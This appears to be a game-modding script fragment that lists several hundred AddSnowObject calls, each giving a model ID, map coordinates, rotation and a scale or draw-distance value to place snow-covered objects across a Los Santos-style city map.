AddSnowObject(4188, 1654.589, -1637.739, 28.640, 0.000, 0.000, 0.000, 140.9);
AddSnowObject(4090, 1602.910, -1608.160, 19.054, 0.000, 0.000, 0.000, 151.9);
AddSnowObject(4060, 1607.469, -1568.199, 17.148, 0.000, 0.000, 0.000, 143.8);
AddSnowObject(4088, 1653.939, -1556.609, 19.140, 0.000, 0.000, 0.000, 141.1);
AddSnowObject(4127, 1664.130, -1560.849, 23.351, 0.000, 0.000, 0.000, 169.8);
AddSnowObject(4086, 1586.290, -1517.680, 23.890, 0.000, 0.000, 0.000, 162.2);
AddSnowObject(4058, 1529.500, -1470.530, 32.453, 0.000, 0.000, 0.000, 178.0);
AddSnowObject(3996, 1596.359, -1440.880, 12.460, 0.000, 0.000, 0.000, 152.5);
AddSnowObject(4089, 1587.469, -1418.189, 19.093, 0.000, 0.000, 0.000, 150.3);
AddSnowObject(3990, 1593.949, -1416.349, 26.664, 0.000, 0.000, 0.000, 165.0);
AddSnowObject(4152, 1658.109, -1516.699, 12.460, 0.000, 0.000, 0.000, 166.6);
AddSnowObject(4059, 1630.520, -1486.859, 17.156, 0.000, 0.000, 0.000, 141.6);
AddSnowObject(4087, 1657.770, -1459.969, 19.140, 0.000, 0.000, 0.000, 142.8);
AddSnowObject(4128, 1666.910, -1456.750, 26.046, 0.000, 0.000, 0.000, 165.8);
AddSnowObject(4033, 1721.880, -1643.050, 12.734, 0.000, 0.000, 0.000, 148.4);
AddSnowObject(4001, 1700.479, -1517.699, 17.937, 0.000, 0.000, 0.000, 174.5);
AddSnowObject(4154, 1706.209, -1432.349, 12.445, 0.000, 0.000, 0.000, 162.0);
AddSnowObject(3998, 1734.300, -1560.709, 18.882, 0.000, 0.000, 0.000, 135.1);
AddSnowObject(4028, 1781.479, -1648.420, 26.835, 0.000, 0.000, 125.499, 141.4);
AddSnowObject(3984, 1783.099, -1647.310, 23.257, 0.000, 0.000, 0.000, 144.7);
AddSnowObject(4079, 1785.979, -1564.859, 25.250, 0.000, 0.000, -5.000, 143.6);
AddSnowObject(4125, 1769.520, -1509.479, 12.445, 0.000, 0.000, 0.000, 173.4);
AddSnowObject(4017, 1774.380, -1470.339, 26.257, 0.000, 0.000, 0.000, 144.2);
AddSnowObject(4189, 1794.619, -1576.729, 17.757, 0.000, 0.000, 0.000, 131.5);
AddSnowObject(4000, 1787.130, -1565.680, 11.968, 0.000, 0.000, 0.000, 152.6);
AddSnowObject(3995, 1797.160, -1464.390, 7.992, 0.000, 0.000, 0.000, 149.8);
AddSnowObject(4110, 1807.459, -1475.979, 8.531, 0.000, 0.000, 0.000, 134.4);
AddSnowObject(4809, 1036.520, -2204.439, 14.164, 0.000, 0.000, 0.000, 197.3);
AddSnowObject(4810, 1095.060, -2214.219, 41.726, 0.000, 0.000, 0.000, 264.7);
AddSnowObject(4813, 1042.270, -2029.800, 23.101, 0.000, 0.000, 0.000, 171.4);
AddSnowObject(4820, 1738.390, -2117.020, 13.937, 0.000, 0.000, 0.000, 188.9);
AddSnowObject(4822, 2179.899, -2407.409, 15.335, 0.000, 0.000, 0.000, 159.0);
AddSnowObject(4827, 2056.879, -2187.350, 6.273, 0.000, 0.000, 0.000, 191.3);
AddSnowObject(4828, 1474.410, -2286.800, 26.359, 0.000, 0.000, 0.000, 151.2);
AddSnowObject(4829, 1645.380, -2292.760, 3.914, 0.000, 0.000, 0.000, 186.0);
AddSnowObject(4831, 1756.089, -2286.500, 16.398, 0.000, 0.000, 0.000, 240.8);
AddSnowObject(4832, 1610.800, -2285.840, 52.750, 0.000, 0.000, 0.000, 153.3);
AddSnowObject(4833, 1528.739, -2252.639, 12.687, 0.000, 0.000, 0.000, 232.2);
AddSnowObject(4834, 1315.839, -2286.340, 13.437, 0.000, 0.000, 0.000, 223.7);
AddSnowObject(4835, 1466.770, -2286.439, 16.585, 0.000, 0.000, 0.000, 245.8);
AddSnowObject(4838, 1411.579, -2265.070, 12.507, 0.000, 0.000, -0.000, 234.7);
AddSnowObject(4840, 1233.500, -2438.000, 8.140, 0.000, 0.000, 0.000, 185.1);
AddSnowObject(4841, 2123.790, -2576.330, 15.335, 0.000, 0.000, 0.000, 235.1);
AddSnowObject(4842, 1383.800, -2707.739, 3.273, 0.000, 0.000, 0.000, 276.3);
AddSnowObject(4843, 1274.560, -2551.870, 3.273, 0.000, 0.000, -0.000, 189.8);
AddSnowObject(4844, 2086.570, -2733.689, 1.640, 0.000, 0.000, 0.000, 308.6);
AddSnowObject(4845, 1222.829, -2291.229, 7.070, 0.000, 0.000, 0.000, 300.8);
AddSnowObject(4846, 1827.130, -2158.860, 14.515, 0.000, 0.000, 0.000, 245.6);
AddSnowObject(4847, 1710.739, -2745.409, 3.273, 0.000, 0.000, 0.000, 284.2);
AddSnowObject(4849, 1892.339, -2109.510, 12.546, 0.000, 0.000, 0.000, 176.1);
AddSnowObject(4851, 1182.010, -1987.630, 39.992, 0.000, 0.000, 0.000, 265.4);
AddSnowObject(4852, 1401.459, -1994.589, 35.437, 0.000, 0.000, 0.000, 282.7);
AddSnowObject(4854, 1483.369, -2263.550, -1.046, 0.000, 0.000, 0.000, 172.7);
AddSnowObject(4862, 1843.430, -2679.379, 11.289, 0.000, 0.000, 0.000, 190.3);
AddSnowObject(4863, 1533.089, -2677.439, 11.296, 0.000, 0.000, 0.000, 189.9);
AddSnowObject(4865, 1515.410, -2602.510, 12.546, 0.000, 0.000, 0.000, 283.9);
AddSnowObject(4866, 1517.160, -2449.649, 12.554, 0.000, 0.000, 0.000, 268.9);
AddSnowObject(4867, 1780.800, -2604.139, 12.546, 0.000, 0.000, 0.000, 240.7);
AddSnowObject(4868, 2139.610, -2292.419, 15.320, 0.000, 0.000, 0.000, 198.2);
AddSnowObject(4869, 1893.390, -2269.600, 14.609, 0.000, 0.000, 0.000, 237.0);
AddSnowObject(4870, 1569.979, -2194.729, 12.460, 0.000, 0.000, 0.000, 186.0);
AddSnowObject(4872, 1610.930, -2010.630, 23.132, 0.000, 0.000, 0.000, 255.0);
AddSnowObject(4875, 1270.689, -2196.790, 42.562, 0.000, 0.000, 0.000, 301.8);
AddSnowObject(4879, 1374.260, -2184.040, 21.078, 0.000, 0.000, 0.000, 275.8);
AddSnowObject(4883, 1339.229, -2456.699, 15.085, 0.000, 0.000, 0.000, 218.2);
AddSnowObject(4884, 1500.859, -1946.689, 11.570, 0.000, 0.000, 0.000, 247.6);
AddSnowObject(4885, 1302.000, -1890.640, 3.078, 0.000, 0.000, 0.000, 176.6);
AddSnowObject(4890, 1683.219, -2328.429, 11.875, 0.000, 0.000, 0.000, 222.8);
AddSnowObject(4897, 985.726, -2050.530, 3.046, 0.000, 0.000, 0.000, 229.4);
AddSnowObject(4985, 1394.949, -2286.159, 17.539, 0.000, 0.000, 0.000, 181.9);
AddSnowObject(4990, 1646.199, -2414.070, 17.929, 0.000, 0.000, 0.000, 243.5);
AddSnowObject(4991, 1683.219, -2242.959, 11.789, 0.000, 0.000, 0.000, 222.8);
AddSnowObject(5002, 1780.359, -2437.600, 12.554, 0.000, 0.000, 0.000, 230.1);
AddSnowObject(5003, 2018.439, -2585.500, 18.781, 0.000, 0.000, 0.000, 260.4);
AddSnowObject(5004, 2030.140, -2417.699, 12.312, 0.000, 0.000, 0.000, 273.3);
AddSnowObject(5005, 1646.280, -2388.820, 16.101, 0.000, 0.000, 0.000, 183.3);
AddSnowObject(5009, 2065.129, -2269.600, 15.320, 0.000, 0.000, 0.000, 266.4);
AddSnowObject(5021, 1044.910, -2023.390, 17.507, 0.000, 0.000, 0.000, 198.8);
AddSnowObject(5028, 1624.000, -2113.620, 23.109, 0.000, 0.000, 0.000, 217.4);
AddSnowObject(5033, 1745.199, -1882.849, 26.140, 0.000, 0.000, 0.000, 170.3);
AddSnowObject(5034, 1742.810, -2292.760, 3.929, 0.000, 0.000, 0.000, 186.3);
AddSnowObject(5038, 1688.359, -2679.320, 11.265, 0.000, 0.000, 0.000, 214.4);
AddSnowObject(5044, 1818.910, -2543.669, 13.468, 0.000, 0.000, 0.000, 207.9);
AddSnowObject(5046, 1105.500, -2355.949, 16.312, 0.000, 0.000, 0.000, 202.6);
AddSnowObject(5105, 2543.459, -2142.280, 10.195, 0.000, 0.000, 0.000, 302.4);
AddSnowObject(5106, 2390.239, -2013.880, 16.046, 0.000, 0.000, 0.000, 235.8);
AddSnowObject(5107, 2496.770, -2108.370, 19.500, 0.000, 0.000, 0.000, 188.9);
AddSnowObject(5108, 2333.550, -2308.709, 3.273, 0.000, 0.000, 44.999, 288.6);
AddSnowObject(5109, 2219.340, -2558.800, 4.984, 0.000, 0.000, 0.000, 316.9);
AddSnowObject(5112, 2521.090, -2049.239, 18.734, 0.000, 0.000, 0.000, 177.5);
AddSnowObject(5115, 2523.409, -2217.459, 12.070, 0.000, 0.000, 0.000, 192.0);
AddSnowObject(5117, 2031.250, -1962.310, 13.289, 0.000, 0.000, 0.000, 209.4);
AddSnowObject(5118, 2107.770, -1958.810, 12.648, 0.000, 0.000, 0.000, 139.0);
AddSnowObject(5119, 2176.060, -1911.880, 12.648, 0.000, 0.000, 0.000, 158.0);
AddSnowObject(5123, 2195.090, -2266.620, 12.562, 0.000, 0.000, 0.000, 221.1);
AddSnowObject(5137, 2005.250, -2137.459, 16.515, 0.000, 0.000, 0.000, 141.5);
AddSnowObject(5143, 2639.409, -2102.399, 36.695, 0.000, 0.000, 0.000, 178.1);
AddSnowObject(5145, 2716.800, -2447.879, 2.156, 0.000, 0.000, 0.000, 251.8);
AddSnowObject(5146, 2498.199, -2408.010, 1.804, 0.000, 0.000, 0.000, 252.1);
AddSnowObject(5147, 2533.770, -2330.830, 22.195, 0.000, 0.000, -45.000, 201.3);
AddSnowObject(5148, 2583.439, -2049.219, 16.085, 0.000, 0.000, 0.000, 194.3);
AddSnowObject(5151, 2674.100, -1990.790, 15.187, 0.000, 0.000, 0.000, 168.9);
AddSnowObject(5156, 2838.040, -2423.879, 10.960, 0.000, 0.000, -89.999, 197.7);
AddSnowObject(5160, 2829.949, -2479.570, 5.265, 0.000, 0.000, -89.999, 200.1);
AddSnowObject(5166, 2829.949, -2479.570, 5.265, 0.000, 0.000, -89.999, 145.8);
AddSnowObject(5167, 2838.030, -2371.949, 7.296, 0.000, 0.000, -89.999, 141.5);
AddSnowObject(5176, 2521.540, -2606.949, 17.648, 0.000, 0.000, 0.000, 282.7);
AddSnowObject(5188, 2718.449, -1977.500, 11.218, 0.000, 0.000, 0.000, 223.3);
AddSnowObject(3689, 2685.379, -2366.050, 19.953, 0.000, 0.000, 0.000, 173.4);
AddSnowObject(3689, 2430.590, -2583.949, 20.523, 0.000, 0.000, 89.999, 173.4);
AddSnowObject(3707, 2716.229, -2452.590, 20.203, 0.000, 0.000, 0.000, 141.3);
AddSnowObject(3707, 2720.320, -2530.909, 19.976, 0.000, 0.000, 89.999, 141.3);
AddSnowObject(3707, 2480.860, -2460.050, 20.492, 0.000, 0.000, -44.999, 141.3);
AddSnowObject(3707, 2539.179, -2424.360, 20.492, 0.000, 0.000, -134.999, 141.3);
AddSnowObject(3707, 2344.100, -2279.659, 20.031, 0.000, 0.000, -45.000, 141.3);
AddSnowObject(3707, 2245.449, -2378.959, 20.031, 0.000, 0.000, -45.000, 141.3);
AddSnowObject(3707, 2184.350, -2681.729, 20.492, 0.000, 0.000, 89.999, 141.3);
AddSnowObject(5250, 2743.439, -2120.639, 15.421, 0.000, 0.000, 0.000, 221.2);
AddSnowObject(5270, 2112.300, -2001.800, 9.765, 0.000, 0.000, 44.999, 261.8);
AddSnowObject(5276, 2219.600, -2200.489, 12.507, 0.000, 0.000, 0.000, 200.0);
AddSnowObject(5296, 2652.929, -2049.239, 18.125, 0.000, 0.000, 0.000, 152.6);
AddSnowObject(5297, 2393.060, -2049.239, 18.093, 0.000, 0.000, 0.000, 156.2);
AddSnowObject(5298, 2490.840, -2049.219, 16.109, 0.000, 0.000, 0.000, 156.6);
AddSnowObject(5313, 2043.989, -2016.869, 25.054, 0.000, 0.000, 0.000, 150.0);
AddSnowObject(5314, 2085.179, -2132.699, 12.414, 0.000, 0.000, 0.000, 218.1);
AddSnowObject(5322, 2571.020, -2014.939, 7.625, 0.000, 0.000, 0.000, 175.7);
AddSnowObject(3755, 2549.679, -2222.000, 17.789, 0.000, 0.000, 0.000, 149.1);
AddSnowObject(3755, 2484.229, -2118.550, 17.703, 0.000, 0.000, 179.999, 149.1);
AddSnowObject(5327, 2232.699, -2129.060, 9.289, 0.000, 0.000, 0.000, 178.8);
AddSnowObject(5328, 2081.360, -1974.339, 8.703, 0.000, 0.000, 0.000, 205.2);
AddSnowObject(3755, 2228.169, -2063.800, 17.703, 0.000, 0.000, -45.067, 149.1);
AddSnowObject(5333, 2374.379, -2171.469, 21.179, 0.000, 0.000, 134.999, 201.3);
AddSnowObject(5338, 2827.500, -2164.649, 9.773, 0.000, 0.000, 0.000, 134.6);
AddSnowObject(5347, 2130.629, -1987.900, 13.148, 0.000, 0.000, 0.000, 145.4);
AddSnowObject(5353, 2543.750, -2163.790, 14.203, 0.000, 0.000, 0.000, 197.5);
AddSnowObject(5355, 2582.429, -1979.380, 9.148, 0.000, 0.000, 0.000, 170.8);
AddSnowObject(3621, 2192.899, -2580.870, 17.789, 0.000, 0.000, 89.999, 165.0);
AddSnowObject(3753, 2368.159, -2523.870, 3.039, 0.000, 0.000, 89.999, 135.4);
AddSnowObject(3621, 2387.800, -2580.870, 17.789, 0.000, 0.000, 89.999, 165.0);
AddSnowObject(1378, 2232.439, -2458.580, 36.195, 0.000, 0.000, -89.999, 140.9);
AddSnowObject(3753, 2299.189, -2405.399, 3.039, 0.000, 0.000, -135.000, 135.4);
AddSnowObject(5191, 2381.449, -2397.439, 6.671, 0.000, 0.000, 44.999, 168.2);
AddSnowObject(5277, 2235.909, -2282.459, 13.187, 0.000, 0.000, 0.000, 173.4);
AddSnowObject(5131, 2151.729, -2273.300, 18.656, 0.000, 0.000, -44.999, 149.3);
AddSnowObject(5129, 2148.780, -2269.639, 17.328, 0.000, 0.000, -44.999, 133.8);
AddSnowObject(5127, 2193.500, -2266.620, 17.476, 0.000, 0.000, 44.999, 196.9);
AddSnowObject(5185, 2143.909, -2166.919, 13.851, 0.000, 0.000, 0.000, 157.6);
AddSnowObject(5135, 2109.530, -2163.909, 16.789, 0.000, 0.000, -0.000, 153.6);
AddSnowObject(5124, 2278.899, -2286.310, 15.335, 0.000, 0.000, 44.999, 215.3);
AddSnowObject(5363, 2291.129, -2286.159, 16.398, 0.000, 0.000, 44.999, 215.0);
AddSnowObject(5275, 2293.800, -2172.770, 11.710, 0.000, 0.000, 0.000, 170.4);
AddSnowObject(5278, 2290.300, -2170.439, 16.054, 0.000, 0.000, 44.999, 178.3);
AddSnowObject(5364, 2292.750, -2176.300, 14.406, 0.000, 0.000, 44.999, 140.6);
AddSnowObject(5274, 2317.719, -2210.580, 8.804, 0.000, 0.000, -44.999, 229.7);
AddSnowObject(5125, 2397.820, -2183.050, 15.335, 0.000, 0.000, 0.000, 162.9);
AddSnowObject(1378, 2406.280, -2265.790, 36.492, 0.000, 0.000, -135.000, 140.9);
AddSnowObject(5192, 2360.719, -2117.010, 16.257, 0.000, 0.000, 0.000, 186.0);
AddSnowObject(3621, 2159.969, -2093.689, 17.859, 0.000, 0.000, 135.000, 165.0);
AddSnowObject(5271, 2275.409, -2095.270, 12.507, 0.000, 0.000, 0.000, 183.9);
AddSnowObject(5138, 2050.360, -2045.930, 20.867, 0.000, 0.000, 0.000, 149.1);
AddSnowObject(5279, 2137.290, -2063.270, 13.851, 0.000, 0.000, 0.000, 220.8);
AddSnowObject(5273, 2153.409, -2051.429, 12.546, 0.000, 0.000, 0.000, 223.7);
AddSnowObject(3621, 2182.550, -2042.589, 17.937, 0.000, 0.000, 135.000, 165.0);
AddSnowObject(5186, 2014.810, -2041.140, 12.539, 0.000, 0.000, 0.000, 172.9);
AddSnowObject(5272, 2213.169, -2033.060, 12.648, 0.000, 0.000, 0.000, 186.0);
AddSnowObject(5291, 2177.989, -2006.760, 23.289, 0.000, 0.000, 44.999, 162.5);
AddSnowObject(5343, 2136.510, -1992.890, 12.796, 0.000, 0.000, 0.000, 174.7);
AddSnowObject(5190, 2203.800, -1992.160, 14.257, 0.000, 0.000, 0.000, 131.7);
AddSnowObject(5175, 2289.739, -2033.949, 19.539, 0.000, 0.000, 0.000, 152.1);
AddSnowObject(5120, 2243.649, -2021.020, 12.414, 0.000, 0.000, 0.000, 191.9);
AddSnowObject(5311, 2287.340, -2024.380, 12.539, 0.000, 0.000, 0.000, 176.2);
AddSnowObject(5310, 2267.959, -1997.890, 18.578, 0.000, 0.000, 0.000, 138.7);
AddSnowObject(5330, 2303.750, -1982.780, 12.429, 0.000, 0.000, 0.000, 182.5);
AddSnowObject(5174, 2371.260, -2024.319, 16.585, 0.000, 0.000, 0.000, 137.6);
AddSnowObject(5169, 2016.310, -1968.920, 17.625, 0.000, 0.000, 0.000, 145.5);
AddSnowObject(5342, 2039.510, -1967.020, 12.546, 0.000, 0.000, 0.000, 168.0);
AddSnowObject(5181, 2167.040, -1925.199, 15.828, 0.000, 0.000, 0.000, 136.9);
AddSnowObject(5122, 2184.439, -1932.949, 14.382, 0.000, 0.000, 0.000, 137.4);
AddSnowObject(5182, 2115.000, -1921.520, 15.390, 0.000, 0.000, 0.000, 131.0);
AddSnowObject(5121, 2041.660, -1904.810, 12.398, 0.000, 0.000, 0.000, 165.6);
AddSnowObject(5139, 2021.160, -1893.270, 15.179, 0.000, 0.000, 0.000, 158.8);
AddSnowObject(5349, 2143.669, -1894.479, 12.500, 0.000, 0.000, 0.000, 152.9);
AddSnowObject(5329, 2216.189, -1912.339, 13.000, 0.000, 0.000, 0.000, 151.5);
AddSnowObject(5180, 2163.669, -1873.619, 15.820, 0.000, 0.000, 0.000, 133.9);
AddSnowObject(5309, 2264.209, -1953.219, 15.710, 0.000, 0.000, 0.000, 138.8);
AddSnowObject(5266, 2278.000, -1942.869, 20.078, 0.000, 0.000, 0.000, 151.2);
AddSnowObject(5141, 2271.199, -1928.390, 12.492, 0.000, 0.000, 0.000, 166.9);
AddSnowObject(5111, 2271.360, -1912.380, 14.507, 0.000, 0.000, 0.000, 168.7);
AddSnowObject(5116, 2361.270, -1918.739, 16.445, 0.000, 0.000, 0.000, 161.7);
AddSnowObject(5168, 2385.189, -1906.520, 18.445, 0.000, 0.000, 0.000, 131.3);
AddSnowObject(3753, 2454.830, -2702.909, 3.039, 0.000, 0.000, 179.999, 135.4);
AddSnowObject(3621, 2450.879, -2680.449, 17.789, 0.000, 0.000, 0.000, 165.0);
AddSnowObject(3753, 2615.110, -2464.620, 3.039, 0.000, 0.000, 179.999, 135.4);
AddSnowObject(3621, 2486.570, -2194.530, 17.859, 0.000, 0.000, -179.999, 165.0);
AddSnowObject(3753, 2511.479, -2256.030, 3.039, 0.000, 0.000, 179.999, 135.4);
AddSnowObject(3753, 2748.020, -2571.590, 3.039, 0.000, 0.000, 179.999, 135.4);
AddSnowObject(5157, 2838.040, -2532.770, 17.023, 0.000, 0.000, -89.999, 154.0);
AddSnowObject(3724, 2838.199, -2488.659, 29.312, 0.000, 0.000, 89.999, 140.1);
AddSnowObject(5155, 2838.020, -2358.479, 21.312, 0.000, 0.000, -89.999, 132.2);
AddSnowObject(3724, 2838.199, -2407.139, 29.312, 0.000, 0.000, -89.999, 140.1);
AddSnowObject(3753, 2702.399, -2324.260, 3.039, 0.000, 0.000, -0.000, 135.4);
AddSnowObject(1378, 2637.030, -2233.959, 36.070, 0.000, 0.000, 179.999, 140.9);
AddSnowObject(3621, 2692.229, -2209.389, 17.859, 0.000, 0.000, -179.999, 165.0);
AddSnowObject(1378, 2696.080, -2233.959, 36.195, 0.000, 0.000, 179.999, 140.9);
AddSnowObject(5184, 2699.030, -2227.739, 31.429, 0.000, 0.000, 0.000, 174.9);
AddSnowObject(1378, 2750.979, -2233.959, 36.312, 0.000, 0.000, 179.999, 140.9);
AddSnowObject(5114, 2831.689, -2161.520, 5.335, 0.000, 0.000, 0.000, 252.0);
AddSnowObject(5158, 2837.770, -2334.479, 11.992, 0.000, 0.000, 0.000, 140.2);
AddSnowObject(5306, 2582.429, -2105.479, 14.250, 0.000, 0.000, 0.000, 157.0);
AddSnowObject(5149, 2479.830, -2009.000, 15.187, 0.000, 0.000, 0.000, 167.0);
AddSnowObject(5110, 2443.629, -1901.319, 18.007, 0.000, 0.000, 0.000, 130.4);
AddSnowObject(5142, 2489.229, -1962.020, 19.039, 0.000, 0.000, 0.000, 139.4);
AddSnowObject(5178, 2479.850, -1930.209, 12.414, 0.000, 0.000, 0.000, 179.9);
AddSnowObject(5267, 2485.770, -1900.439, 18.531, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(5128, 2516.590, -1875.550, 11.679, 0.000, 0.000, 0.000, 152.7);
AddSnowObject(5243, 2516.550, -1851.770, 16.523, 0.000, 0.000, 0.000, 140.5);
AddSnowObject(5113, 2758.540, -2104.899, 18.281, 0.000, 0.000, 0.000, 171.0);
AddSnowObject(5173, 2768.449, -2012.089, 14.796, 0.000, 0.000, 0.000, 152.5);
AddSnowObject(5301, 2746.750, -1944.729, 14.703, 0.000, 0.000, 0.000, 137.8);
AddSnowObject(5144, 2768.560, -1942.699, 11.304, 0.000, 0.000, -0.000, 161.1);
AddSnowObject(5308, 2791.840, -1944.270, 14.703, 0.000, 0.000, -179.999, 137.8);
AddSnowObject(5133, 2845.649, -1969.989, 9.132, 0.000, 0.000, 0.000, 195.1);
AddSnowObject(5172, 2906.729, -1975.270, 4.468, 0.000, 0.000, 0.000, 204.8);
AddSnowObject(3629, 1617.280, -2666.010, 18.882, 0.000, 0.000, -0.000, 134.1);
AddSnowObject(4992, 1654.540, -2286.800, 13.320, 0.000, 0.000, 0.000, 171.9);
AddSnowObject(3629, 1682.729, -2666.010, 18.882, 0.000, 0.000, -0.000, 134.1);
AddSnowObject(3629, 1754.170, -2666.010, 18.882, 0.000, 0.000, -0.000, 134.1);
AddSnowObject(5001, 1789.790, -2365.919, 15.421, 0.000, 0.000, 0.000, 164.7);
AddSnowObject(4830, 1687.780, -2286.540, 10.250, 0.000, 0.000, 0.000, 234.2);
AddSnowObject(4874, 1782.579, -2284.479, 26.328, 0.000, 0.000, 0.000, 143.9);
AddSnowObject(3629, 1822.729, -2666.010, 18.882, 0.000, 0.000, -0.000, 134.1);
AddSnowObject(3629, 1889.660, -2666.010, 18.882, 0.000, 0.000, -0.000, 134.1);
AddSnowObject(4864, 1996.060, -2677.550, 14.132, 0.000, 0.000, 0.000, 168.3);
AddSnowObject(3629, 2030.050, -2382.139, 18.882, 0.000, 0.000, 89.999, 134.1);
AddSnowObject(3629, 2112.939, -2384.620, 18.882, 0.000, 0.000, 179.999, 134.1);
AddSnowObject(5007, 1826.609, -2259.909, 15.437, 0.000, 0.000, 0.000, 186.4);
AddSnowObject(5006, 1874.209, -2286.530, 17.929, 0.000, 0.000, 0.000, 169.0);
AddSnowObject(3629, 2030.050, -2315.429, 18.882, 0.000, 0.000, 89.999, 134.1);
AddSnowObject(3629, 2030.050, -2249.020, 18.882, 0.000, 0.000, 89.999, 134.1);
AddSnowObject(3629, 1921.640, -2206.389, 18.882, 0.000, 0.000, 179.999, 134.1);
AddSnowObject(4811, 1069.670, -2270.899, 23.101, 0.000, 0.000, 0.000, 156.2);
AddSnowObject(4814, 1071.030, -2354.010, 1.070, 0.000, 0.000, 0.000, 216.5);
AddSnowObject(4815, 1074.589, -2321.739, 10.851, 0.000, 0.000, 0.000, 241.2);
AddSnowObject(4816, 1210.709, -2467.790, 1.070, 0.000, 0.000, 0.000, 192.7);
AddSnowObject(4812, 1023.400, -2166.100, 23.101, 0.000, 0.000, 0.000, 172.9);
AddSnowObject(4896, 981.703, -2155.850, 1.070, 0.000, 0.000, 0.000, 218.3);
AddSnowObject(4898, 992.859, -2126.620, 12.085, 0.000, 0.000, 0.000, 191.7);
AddSnowObject(4839, 1383.609, -2633.050, 15.335, 0.000, 0.000, 0.000, 187.4);
AddSnowObject(4856, 1400.810, -2377.780, 3.804, 0.000, 0.000, 0.000, 190.0);
AddSnowObject(4855, 1446.699, -2385.360, 3.804, 0.000, 0.000, 0.000, 222.2);
AddSnowObject(5030, 1465.010, -2396.659, 16.101, 0.000, 0.000, 0.000, 202.0);
AddSnowObject(5032, 1567.709, -2543.629, 13.468, 0.000, 0.000, 0.000, 171.6);
AddSnowObject(4871, 1569.939, -2378.239, 12.460, 0.000, 0.000, 0.000, 186.1);
AddSnowObject(5051, 1306.270, -2286.409, 16.984, 0.000, 0.000, 0.000, 216.3);
AddSnowObject(4836, 1441.910, -2166.649, 13.273, 0.000, 0.000, 0.000, 236.0);
AddSnowObject(5036, 1694.599, -2131.120, 12.554, 0.000, 0.000, 0.000, 221.0);
AddSnowObject(5025, 1728.069, -2125.800, 21.179, 0.000, 0.000, 0.000, 157.2);
AddSnowObject(4873, 1734.400, -2019.699, 14.343, 0.000, 0.000, 0.000, 198.1);
AddSnowObject(4860, 1722.750, -2014.630, 16.507, 0.000, 0.000, 0.000, 185.1);
AddSnowObject(4876, 1582.300, -2002.229, 26.609, 0.000, 0.000, 0.000, 206.0);
AddSnowObject(4837, 1823.010, -2087.169, 12.460, 0.000, 0.000, 0.000, 175.0);
AddSnowObject(4891, 1681.160, -1966.989, 31.085, 0.000, 0.000, 0.000, 156.6);
AddSnowObject(4818, 1669.640, -1922.180, 16.750, 0.000, 0.000, 0.000, 145.6);
AddSnowObject(4894, 1583.689, -1897.839, 19.335, 0.000, 0.000, 0.000, 147.7);
AddSnowObject(4817, 1739.300, -1951.949, 12.375, 0.000, 0.000, 0.000, 162.2);
AddSnowObject(4853, 1736.979, -1960.660, 15.054, 0.000, 0.000, 0.000, 145.6);
AddSnowObject(4821, 1745.199, -1882.849, 26.140, 0.000, 0.000, 0.000, 191.7);
AddSnowObject(5024, 1748.839, -1883.030, 14.187, 0.000, 0.000, 0.000, 130.1);
AddSnowObject(5026, 1821.660, -1872.310, 12.406, 0.000, 0.000, 0.000, 150.9);
AddSnowObject(4861, 1873.020, -2101.840, 15.890, 0.000, 0.000, 0.000, 156.2);
AddSnowObject(4984, 1880.709, -2112.629, 21.257, 0.000, 0.000, 0.000, 168.1);
AddSnowObject(4808, 1892.339, -2037.650, 12.460, 0.000, 0.000, 0.000, 164.3);
AddSnowObject(4806, 1880.339, -2001.920, 12.570, 0.000, 0.000, 0.000, 182.0);
AddSnowObject(4859, 1868.949, -2003.660, 13.750, 0.000, 0.000, 0.000, 169.7);
AddSnowObject(4807, 1964.640, -2109.419, 14.109, 0.000, 0.000, 0.000, 161.2);
AddSnowObject(4850, 1940.189, -2007.300, 15.335, 0.000, 0.000, 0.000, 138.2);
AddSnowObject(5013, 1961.660, -2001.900, 12.546, 0.000, 0.000, 0.000, 141.7);
AddSnowObject(5064, 1855.449, -1958.459, 12.648, 0.000, 0.000, 0.000, 140.3);
AddSnowObject(4895, 1899.160, -1936.339, 14.265, 0.000, 0.000, 0.000, 193.5);
AddSnowObject(4981, 1898.400, -1913.410, 20.820, 0.000, 0.000, 0.000, 169.9);
AddSnowObject(4858, 1891.739, -1872.280, 14.859, 0.000, 0.000, 0.000, 179.4);
AddSnowObject(4983, 1961.030, -1871.410, 23.773, 0.000, 0.000, 0.000, 139.7);
AddSnowObject(5052, 1961.660, -1863.119, 12.460, 0.000, 0.000, 0.000, 151.2);
AddSnowObject(4826, 1102.910, -2036.979, 77.335, 0.000, 0.000, 0.000, 142.6);
AddSnowObject(4825, 1145.949, -2037.000, 65.515, 0.000, 0.000, 0.000, 179.2);
AddSnowObject(4824, 1224.430, -2037.010, 62.929, 0.000, 0.000, 0.000, 139.2);
AddSnowObject(4877, 1120.969, -1875.849, 24.414, 0.000, 0.000, 0.000, 158.7);
AddSnowObject(4888, 1236.199, -1876.160, 21.453, 0.000, 0.000, 0.000, 171.1);
AddSnowObject(4823, 1338.329, -1976.660, 36.609, 0.000, 0.000, 0.000, 241.5);
AddSnowObject(4878, 1530.829, -1969.130, 26.390, 0.000, 0.000, 0.000, 268.4);
AddSnowObject(4887, 1478.719, -1900.770, 22.398, 0.000, 0.000, 0.000, 157.6);
AddSnowObject(4889, 1335.319, -1882.310, 17.085, 0.000, 0.000, 0.000, 136.6);
AddSnowObject(6048, 1117.589, -1490.010, 32.718, 0.000, 0.000, 0.000, 207.7);
AddSnowObject(6054, 1036.410, -1689.180, 12.609, 0.000, 0.000, 0.000, 207.5);
AddSnowObject(6065, 887.460, -1878.390, 3.125, 0.000, 0.000, 0.000, 267.1);
AddSnowObject(6094, 731.156, -1506.530, 3.750, 0.000, 0.000, 0.000, 202.7);
AddSnowObject(6122, 798.093, -1763.099, 12.695, 0.000, 0.000, 0.000, 265.0);
AddSnowObject(6130, 1117.589, -1490.010, 32.718, 0.000, 0.000, 0.000, 194.6);
AddSnowObject(6188, 836.312, -1866.760, -0.539, 0.000, 0.000, 0.000, 176.6);
AddSnowObject(6189, 836.445, -2003.520, -2.640, 0.000, 0.000, 0.000, 169.3);
AddSnowObject(6213, 880.304, -1696.250, 12.679, 0.000, 0.000, 0.000, 171.6);
AddSnowObject(6217, 846.453, -1523.520, 12.351, 0.000, 0.000, 0.000, 172.3);
AddSnowObject(6227, 676.617, -1668.959, 3.851, 0.000, 0.000, 0.000, 180.4);
AddSnowObject(6229, 773.203, -1667.989, 2.937, 0.000, 0.000, 0.000, 197.7);
AddSnowObject(6233, 725.257, -1620.560, -8.992, 0.000, 0.000, 0.000, 147.5);
AddSnowObject(6234, 725.257, -1703.500, -8.992, 0.000, 0.000, 0.000, 143.0);
